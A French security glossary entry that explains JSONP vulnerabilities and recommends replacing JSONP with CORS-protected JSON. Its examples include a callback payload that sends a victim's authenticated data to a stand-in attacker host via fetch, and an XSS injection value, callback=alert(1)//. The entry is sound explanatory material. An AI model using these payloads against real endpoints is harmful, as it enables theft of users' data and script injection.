Vulnérabilité JSONP
Qu'est-ce que Vulnérabilité JSONP ?
Vulnérabilité JSONPFuite de données multi-origines provoquée par des endpoints JSONP qui renvoient des données authentifiées sensibles enveloppées dans une fonction de callback choisie par l'attaquant.
JSONP (JSON with Padding) est une technique multi-origines historique : le serveur renvoie du JavaScript de la forme callback({...}) qu'une page distante inclut via <script src>. Les vulnérabilités JSONP apparaissent quand ces endpoints exposent des données authentifiées et que le paramètre callback est reflété sans validation : l'attaquant héberge une page qui charge l'URL JSONP avec son propre nom de fonction et capture la réponse, contournant la politique de même origine et les protections SameSite. Le schéma permet aussi du XSS si du contenu hors identifiant valide est reflété. Bonne pratique moderne : supprimer JSONP, le remplacer par du JSON protégé par CORS, et ne jamais exposer d'endpoints sensibles à l'inclusion via <script>.
● Exemples
- 01
/api/me?callback=window['x']=function(d){fetch('https://mechant/?d='+JSON.stringify(d))}.
- 02
Paramètre callback reflété tel quel, permettant un XSS via callback=alert(1)//.
● Questions fréquentes
Qu'est-ce que Vulnérabilité JSONP ?
Fuite de données multi-origines provoquée par des endpoints JSONP qui renvoient des données authentifiées sensibles enveloppées dans une fonction de callback choisie par l'attaquant. Cette notion relève de la catégorie Attaques et menaces en cybersécurité.
Que signifie Vulnérabilité JSONP ?
Fuite de données multi-origines provoquée par des endpoints JSONP qui renvoient des données authentifiées sensibles enveloppées dans une fonction de callback choisie par l'attaquant.
Comment fonctionne Vulnérabilité JSONP ?
JSONP (JSON with Padding) est une technique multi-origines historique : le serveur renvoie du JavaScript de la forme callback({...}) qu'une page distante inclut via <script src>. Les vulnérabilités JSONP apparaissent quand ces endpoints exposent des données authentifiées et que le paramètre callback est reflété sans validation : l'attaquant héberge une page qui charge l'URL JSONP avec son propre nom de fonction et capture la réponse, contournant la politique de même origine et les protections SameSite. Le schéma permet aussi du XSS si du contenu hors identifiant valide est reflété. Bonne pratique moderne : supprimer JSONP, le remplacer par du JSON protégé par CORS, et ne jamais exposer d'endpoints sensibles à l'inclusion via <script>.
Comment se défendre contre Vulnérabilité JSONP ?
Les défenses contre Vulnérabilité JSONP combinent habituellement des contrôles techniques et des pratiques opérationnelles, comme détaillé dans la définition ci-dessus.
Quels sont les autres noms de Vulnérabilité JSONP ?
Noms alternatifs courants : Fuite JSONP, Détournement JSONP.
● Termes liés
- appsec№ 223
CORS (Partage de ressources entre origines)
Mécanisme appliqué par le navigateur permettant à un serveur d'assouplir sélectivement la politique de même origine pour que du JavaScript d'une origine puisse lire les réponses d'une autre.
- attacks№ 224
Mauvaise Configuration CORS
Politique CORS non sûre permettant à des origines non fiables de lire des réponses authentifiées, typiquement en reflétant l'en-tête Origin avec Access-Control-Allow-Credentials: true.
- attacks№ 240
Cross-Site Scripting (XSS)
Vulnérabilité web permettant à un attaquant d'injecter des scripts malveillants dans des pages consultées par d'autres utilisateurs, exécutés dans leur navigateur sous l'origine du site.
- appsec№ 960
Politique de même origine (SOP)
Regle de securite du navigateur qui restreint la maniere dont un document ou script charge depuis une origine peut interagir avec une ressource d'une autre origine.
- attacks№ 239
Cross-Site Request Forgery (CSRF)
Attaque web qui force le navigateur d'un utilisateur authentifié à envoyer des requêtes non désirées vers un site vulnérable, déclenchant des actions sans son consentement.
- attacks№ 1016
Détournement de session
Attaque qui prend le contrôle de la session authentifiée d'une victime en volant ou en forgeant son identifiant de session, pour agir comme l'utilisateur sans ses identifiants.